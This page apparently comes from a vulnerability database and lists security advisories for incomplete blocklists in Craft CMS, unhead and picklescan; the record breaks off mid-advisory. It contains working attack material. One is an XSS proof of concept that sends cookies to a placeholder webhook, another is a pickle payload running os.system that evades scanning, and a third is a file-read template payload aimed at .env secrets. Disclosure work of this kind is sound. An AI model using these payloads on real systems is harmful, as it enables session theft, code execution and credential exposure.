CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
391 vulnerabilities reference this CWE, most recent first.
GHSA-957R-QF9P-67XW
Vulnerability from github – Published: 2026-08-06 21:54 – Updated: 2026-09-01 21:03The create() Twig function (introduced in 5.9.0) allows instantiation of arbitrary PHP classes from template code, restricted only by a 5-entry blocklist. SplFileObject is not in the blocklist, enabling arbitrary file read, including .env (security key, DB credentials) and the passwd file from non-sandboxed Twig template contexts, such as entry type title formats and URI formats.
The sandbox correctly blocks create() in system email templates, so this finding applies only to admin-configured, non-sandboxed contexts that require allowAdminChanges=true.
Prerequisites
- Admin access to the Craft control panel
allowAdminChangesmust betrue(default in dev/staging, recommendedfalsein production)- Admin must be able to edit entry type settings (title format, URI format)
- Any user who subsequently creates an entry in the affected section triggers the file read
Limitations
- Requires admin-level access: not exploitable by low-privilege users
allowAdminChangesmust betrue: production best practices recommendfalse, which prevents entry type configuration changes- Per Craft’s own severity guidelines, findings requiring
allowAdminChanges=trueare rated low - The
create()function is blocked by the Twig sandbox, so this cannot be exploited via system email templates or any other sandboxed context
Impact
An admin user (or an attacker who has compromised an admin account) can read arbitrary files from the server filesystem by setting a malicious entry type title format using create('SplFileObject', ['/path/to/file']). In production environments, this exposes .env files containing the CRAFT_SECURITY_KEY, database credentials, API keys, and other secrets. The file contents are rendered as entry titles visible to any user with permission to view entries in the affected section.
The impact is limited by the requirement for admin access and allowAdminChanges=true.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-72779"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T21:54:45Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The `create()` Twig function (introduced in 5.9.0) allows instantiation of arbitrary PHP classes from template code, restricted only by a 5-entry blocklist. `SplFileObject` is not in the blocklist, enabling arbitrary file read, including `.env` (security key, DB credentials) and the passwd file from non-sandboxed Twig template contexts, such as entry type title formats and URI formats. \n\nThe sandbox correctly blocks `create()` in system email templates, so this finding applies only to admin-configured, non-sandboxed contexts that require `allowAdminChanges=true`.\n\n## Prerequisites\n\n- Admin access to the Craft control panel\n- `allowAdminChanges` must be `true` (default in dev/staging, recommended `false` in production)\n- Admin must be able to edit entry type settings (title format, URI format)\n- Any user who subsequently creates an entry in the affected section triggers the file read\n\n## Limitations\n\n- Requires admin-level access: not exploitable by low-privilege users\n- `allowAdminChanges` must be `true`: production best practices recommend `false`, which prevents entry type configuration changes\n- Per Craft\u2019s own severity guidelines, findings requiring `allowAdminChanges=true` are rated low\n- The `create()` function is blocked by the Twig sandbox, so this cannot be exploited via system email templates or any other sandboxed context\n\n## Impact\n\nAn admin user (or an attacker who has compromised an admin account) can read arbitrary files from the server filesystem by setting a malicious entry type title format using `create(\u0027SplFileObject\u0027, [\u0027/path/to/file\u0027])`. In production environments, this exposes `.env` files containing the `CRAFT_SECURITY_KEY`, database credentials, API keys, and other secrets. The file contents are rendered as entry titles visible to any user with permission to view entries in the affected section.\n\nThe impact is limited by the requirement for admin access and `allowAdminChanges=true`.",
"id": "GHSA-957r-qf9p-67xw",
"modified": "2026-09-01T21:03:50Z",
"published": "2026-08-06T21:54:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-957r-qf9p-67xw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72779"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/7c96fd73df936a10e8f85ae6ef61a9fc3f277c12"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/87978f11c8f986c40ef41b941d79547230c4d6d9"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.18.2"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/5.10.6"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/craft-cms-rc1-before-arbitrary-file-read-via-splfileobject"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts"
}
GHSA-95H2-GJ7X-GX9W
Vulnerability from github – Published: 2026-04-09 20:28 – Updated: 2026-04-09 20:28EVIDENCE
| Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) | | Cross-reported here | 2026-04-03 |
Summary
useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends
for rendering user-supplied content in <head> safely. Internally, the
hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes
HTML entities before checking for blocked URI schemes (javascript:, data:,
vbscript:). The decoder uses two regular expressions with fixed-width digit caps:
// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g
The HTML5 specification imposes no limit on leading zeros in numeric character
references. Both of the following are valid, spec-compliant encodings of : (U+003A):
:— 10 decimal digits, exceeds the\d{1,7}cap:— 7 hex digits, exceeds the[0-9a-f]{1,6}cap
When a padded entity exceeds the regex digit cap, the decoder silently skips it. The
undecoded string is then passed to startsWith('javascript:'), which does not match.
makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML
parser decodes the padded entity natively and constructs the blocked URI.
Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, which was an attribute key injection via the
data-*prefix. This finding targets the attribute value decoder — a different code path with a different root cause and a different fix.
Root Cause Analysis
Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max
Why the bypass works
The HTML5 parser specification ([§ Numeric character reference end state][html5-spec])
states that leading zeros in numeric character references are valid and the number of
digits is unbounded. A conformant browser will decode : as : regardless
of the number of leading zeros.
Because the regex caps are lower than the digit counts an attacker can supply, the
entity match fails silently. The raw padded string (java:script:alert(1))
is passed unchanged to the scheme check. startsWith('javascript:') returns false,
and the value is rendered into SSR output verbatim. The browser then decodes the entity
and the blocked scheme is present in the live DOM.
Steps to Reproduce
Environment
- Nuxt: 4.x (current)
- unhead: 2.1.12 (current at time of report)
- Node: 20 LTS
- Chrome: 146+
Step 1 — Create a fresh Nuxt 4 project
npx nuxi init poc
cd poc
npm install
Step 2 — Replace pages/index.vue
<template>
<div>
<h1>useHeadSafe bypass PoC</h1>
<p>View page source or run the curl command below.</p>
</div>
</template>
<script setup>
import { useHeadSafe } from '#imports'
useHeadSafe({
link: [
// 10-digit decimal padding — exceeds \d{1,7} cap
{ rel: 'stylesheet', href: 'java:script:alert(1)' },
// 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
{ rel: 'icon', href: 'data:text/html,<script>alert(document.cookie)<\/script>' }
]
})
</script>
Step 3 — Start the dev server and inspect SSR output
npm run dev
In a separate terminal:
curl -s http://localhost:3000 | grep '<link'
Expected result (safe)
Tags stripped entirely, or schemes rewritten to safe placeholder values.
Actual result (vulnerable)
<link href="java:script:alert(1)" rel="stylesheet">
<link href="data:text/html,<script>alert(document.cookie)<\/script>" rel="icon">
Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol()
blocklist — are present in server-rendered HTML. The browser decodes the padded entities
natively on load.
Confirmed Execution Path (data: URI via iframe, Chrome 146+)
Immediate script execution from <link> tags does not occur automatically — browsers
do not create a browsing context from <link href>. The exploitability of this bypass
therefore depends on whether downstream application code consumes <link> href values.
This is a common pattern in real-world Nuxt applications:
- Head management libraries that hydrate or re-process
<link>tags on the client - SEO and analytics scripts that read canonical or icon link values
- Application features that preview, validate, or forward link URLs into iframes
- Developer tooling that loads icon URLs for thumbnail generation
Chrome 146+ permits data: URIs loaded into iframes even though top-level data:
navigation has been blocked since Chrome 60. The following snippet — representative
of any downstream consumer that forwards <link href> into an iframe — triggers
confirmed script execution:
// Simulates downstream head-management or SEO utility reading a <link> href
const link = document.querySelector('link[rel="icon"]');
if (link) {
const iframe = document.createElement('iframe');
iframe.src = link.href; // browser decodes : → ':', constructs data: URI
document.body.appendChild(iframe); // alert() fires
}
Full PoC with cookie exfiltration beacon
Replace
ADD-YOUR-WEBHOOK-URL-HEREwith a webhook.site URL before running.
<template>
<div>
<h1>useHeadSafe padded entity bypass — full PoC</h1>
<p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p>
</div>
</template>
<script setup>
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'
onMounted(() => {
document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
const el = document.getElementById('cookie-display')
if (el) el.textContent = document.cookie
// Simulate downstream consumption: load the bypassed icon href into an iframe
const link = document.querySelector('link[rel="icon"]')
if (link) {
const iframe = document.createElement('iframe')
iframe.src = link.href
iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
document.body.appendChild(iframe)
}
})
const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'
useHeadSafe({
link: [
{
rel: 'icon',
href: `data:text/html;base64,${btoa(`
<!DOCTYPE html><html><body><script>
alert('XSS via useHeadSafe padded entity bypass');
new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
finding: 'useHeadSafe hasDangerousProtocol bypass',
cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
origin: location.origin,
ts: Date.now()
}));
<\/script></body></html>
`)}`
}
]
})
</script>
Observed result:
alert()fires from inside the iframe'sdata:document context- Webhook receives a GET request with the cookie value and origin in the query string
- Page source confirms
:is present unescaped in the SSR-rendered<link>tag
All testing was performed against a local Nuxt development environment on a personal machine. Cookie values are dummy data. No production systems were accessed or targeted.
Impact
1. Broken security contract
Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted
user input have no reliable protection against javascript:, data:, or vbscript:
scheme injection when that input contains leading-zero padded numeric character
references. The documented guarantee is silently violated.
2. Confirmed data: URI escape to SSR output
A fully valid data:text/html URI now reaches server-rendered HTML. In applications
where any downstream code reads and loads <link href> values (head management
utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload
persists in SSR output and executes for every visitor whose browser triggers the
downstream consumption path.
3. Forward exploitability
If any navigation-context attribute (e.g. <a href>, <form action>) is added to the
safe attribute whitelist in a future release, this bypass produces immediately
exploitable stored XSS with no additional attacker effort, because the end-to-end
bypass already works today.
Suggested Fix
Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint()
function already validates that decoded codepoints fall within the valid Unicode range
(> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new
attack surface — it only ensures that all spec-compliant encodings of a codepoint are
decoded before the scheme check runs.
- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
- const HtmlEntityDec = /&#(\d{1,7});?/g
+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi
+ const HtmlEntityDec = /&#(\d+);?/g
File: packages/unhead/src/plugins/safe.ts, lines 10–11
This is a minimal, low-risk change. No other code in the call path requires modification.
Weaknesses
| CWE | Description |
|---|---|
| CWE-184 | Incomplete List of Disallowed Inputs |
| CWE-116 | Improper Encoding or Escaping of Output |
| CWE-20 | Improper Input Validation |
References
| Source | Link |
|---|---|
| HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |
GHSA-46fp-8f5p-pf2c — Loofah allowed_uri? bypass (same root cause, accepted CVE) |
https://github.com/advisories/GHSA-46fp-8f5p-pf2c |
CVE-2026-26022 — Gogs stored XSS via data: URI sanitizer bypass (same class) |
https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |
| OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |
Chrome: data: URIs blocked for top-level navigation since Chrome 60; permitted in iframes |
https://developer.chrome.com/blog/data-url-deprecations |
| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |
| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "unhead"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39315"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T20:28:05Z",
"nvd_published_at": "2026-04-09T18:17:01Z",
"severity": "MODERATE"
},
"details": "##EVIDENCE\n\n\u003cimg width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" /\u003e\n\u003cimg width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" /\u003e\n\u003cimg width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" /\u003e\n\u003cimg width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" /\u003e\n\u003cimg width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" /\u003e\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt\u0027s own documentation explicitly recommends\nfor rendering user-supplied content in `\u003chead\u003e` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current \u2014 vulnerable\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `\u0026#0000000058;` \u2014 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `\u0026#x000003A;` \u2014 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith(\u0027javascript:\u0027)`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser\u0027s HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n\u003e **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n\u003e which was an attribute *key* injection via the `data-*` prefix. This finding targets\n\u003e the attribute *value* decoder \u2014 a different code path with a different root cause and\n\u003e a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10\u201311)\n\n```js\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([\u00a7 Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `\u0026#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java\u0026#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith(\u0027javascript:\u0027)` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 \u2014 Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 \u2014 Replace `pages/index.vue`\n\n```vue\n\u003ctemplate\u003e\n \u003cdiv\u003e\n \u003ch1\u003euseHeadSafe bypass PoC\u003c/h1\u003e\n \u003cp\u003eView page source or run the curl command below.\u003c/p\u003e\n \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\n\nuseHeadSafe({\n link: [\n // 10-digit decimal padding \u2014 exceeds \\d{1,7} cap\n { rel: \u0027stylesheet\u0027, href: \u0027java\u0026#0000000058;script:alert(1)\u0027 },\n\n // 7-digit hex padding \u2014 exceeds [0-9a-f]{1,6} cap\n { rel: \u0027icon\u0027, href: \u0027data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\u0027 }\n ]\n})\n\u003c/script\u003e\n```\n\n### Step 3 \u2014 Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep \u0027\u003clink\u0027\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n\u003clink href=\"java\u0026#0000000058;script:alert(1)\" rel=\"stylesheet\"\u003e\n\u003clink href=\"data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\" rel=\"icon\"\u003e\n```\n\nBoth `javascript:` and `data:` \u2014 explicitly enumerated in the `hasDangerousProtocol()`\nblocklist \u2014 are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `\u003clink\u003e` tags does not occur automatically \u2014 browsers\ndo not create a browsing context from `\u003clink href\u003e`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `\u003clink\u003e` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `\u003clink\u003e` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet \u2014 representative\nof any downstream consumer that forwards `\u003clink href\u003e` into an iframe \u2014 triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a \u003clink\u003e href\nconst link = document.querySelector(\u0027link[rel=\"icon\"]\u0027);\nif (link) {\n const iframe = document.createElement(\u0027iframe\u0027);\n iframe.src = link.href; // browser decodes \u0026#x000003A; \u2192 \u0027:\u0027, constructs data: URI\n document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n\u003e Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\u003ctemplate\u003e\n \u003cdiv\u003e\n \u003ch1\u003euseHeadSafe padded entity bypass \u2014 full PoC\u003c/h1\u003e\n \u003cp\u003e\u003cstrong\u003eDummy cookie:\u003c/strong\u003e \u003ccode id=\"cookie-display\"\u003eLoading\u2026\u003c/code\u003e\u003c/p\u003e\n \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\nimport { onMounted } from \u0027vue\u0027\n\nonMounted(() =\u003e {\n document.cookie = \u0027session=super-secret-token-12345; path=/; SameSite=None\u0027\n const el = document.getElementById(\u0027cookie-display\u0027)\n if (el) el.textContent = document.cookie\n\n // Simulate downstream consumption: load the bypassed icon href into an iframe\n const link = document.querySelector(\u0027link[rel=\"icon\"]\u0027)\n if (link) {\n const iframe = document.createElement(\u0027iframe\u0027)\n iframe.src = link.href\n iframe.style.cssText = \u0027width:700px;height:400px;border:3px solid red;margin-top:20px\u0027\n document.body.appendChild(iframe)\n }\n})\n\nconst webhook = \u0027https://ADD-YOUR-WEBHOOK-URL-HERE\u0027\n\nuseHeadSafe({\n link: [\n {\n rel: \u0027icon\u0027,\n href: `data\u0026#x000003A;text/html;base64,${btoa(`\n \u003c!DOCTYPE html\u003e\u003chtml\u003e\u003cbody\u003e\u003cscript\u003e\n alert(\u0027XSS via useHeadSafe padded entity bypass\u0027);\n new Image().src = \u0027${webhook}?d=\u0027 + encodeURIComponent(JSON.stringify({\n finding: \u0027useHeadSafe hasDangerousProtocol bypass\u0027,\n cookie: document.cookie || \u0027session=super-secret-token-12345 (dummy)\u0027,\n origin: location.origin,\n ts: Date.now()\n }));\n \u003c\\/script\u003e\u003c/body\u003e\u003c/html\u003e\n `)}`\n }\n ]\n})\n\u003c/script\u003e\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe\u0027s `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `\u0026#x000003A;` is present unescaped in the SSR-rendered `\u003clink\u003e` tag\n\n\u003e All testing was performed against a local Nuxt development environment on a personal\n\u003e machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt\u0027s own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `\u003clink href\u003e` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** \u2014 the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `\u003ca href\u003e`, `\u003cform action\u003e`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`\u003e 0x10FFFF || \u003c 0 || isNaN \u2192 \u0027\u0027`), so unbounded digit matching introduces no new\nattack surface \u2014 it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n+ const HtmlEntityHex = /\u0026#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /\u0026#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10\u201311\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec \u2014 leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c \u2014 Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 \u2014 Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion \u2014 leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |",
"id": "GHSA-95h2-gj7x-gx9w",
"modified": "2026-04-09T20:28:05Z",
"published": "2026-04-09T20:28:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39315"
},
{
"type": "WEB",
"url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"
},
{
"type": "PACKAGE",
"url": "https://github.com/unjs/unhead"
},
{
"type": "WEB",
"url": "https://github.com/unjs/unhead/releases/tag/v2.1.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()"
}
GHSA-97F8-7CMV-76J2
Vulnerability from github – Published: 2026-02-18 17:45 – Updated: 2026-06-18 14:43Summary
This is a scanning bypass to scan_pytorch function in picklescan. As we can see in the implementation of get_magic_number() that uses pickletools.genops(data) to get the magic_number with the condition opcode.name includes INT or LONG, but the PyTorch's implemtation simply uses pickle_module.load() to get this magic_number. For this implementation difference, we then can embed the magic_code into the PyTorch file via dynamic eval on the \_\_reduce\_\_ trick, which can make the pickletools.genops(data) cannot get the magic_code in INT or LONG type, but the pickle_module.load() can still return the same magic_code, eading to a bypass.
PoC
Attack Step 1
we can edit the source code of the function _legacy_save() as follows:
class payload:
def __reduce__(self):
return (eval, ('MAGIC_NUMBER',))
pickle_module.dump(payload(), f, protocol=pickle_protocol)
Attack Step 2
with the modified version of PyTorch, we run the following PoC to generate the payload.pt:
import torch
class payload:
def __reduce__(self):
return (__import__('os').system, ('touch /tmp/hacked',))
torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)
Picklescan result
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0
Victim Step
import torch
torch.load('./payload.pt', weights_only=False)
then you can find the illegal file /tmp/hacked created in your local system.
Impact
Craft malicious PyTorch payloads to bypass picklescan, then recall ACE/RCE.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53875"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T17:45:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch\u0027s implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n class payload:\n def __reduce__(self):\n return (eval, (\u0027MAGIC_NUMBER\u0027,))\n\n pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n def __reduce__(self):\n return (__import__(\u0027os\u0027).system, (\u0027touch /tmp/hacked\u0027,))\n\ntorch.save(payload(), \u0027./payload.pt\u0027, _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load(\u0027./payload.pt\u0027, weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### 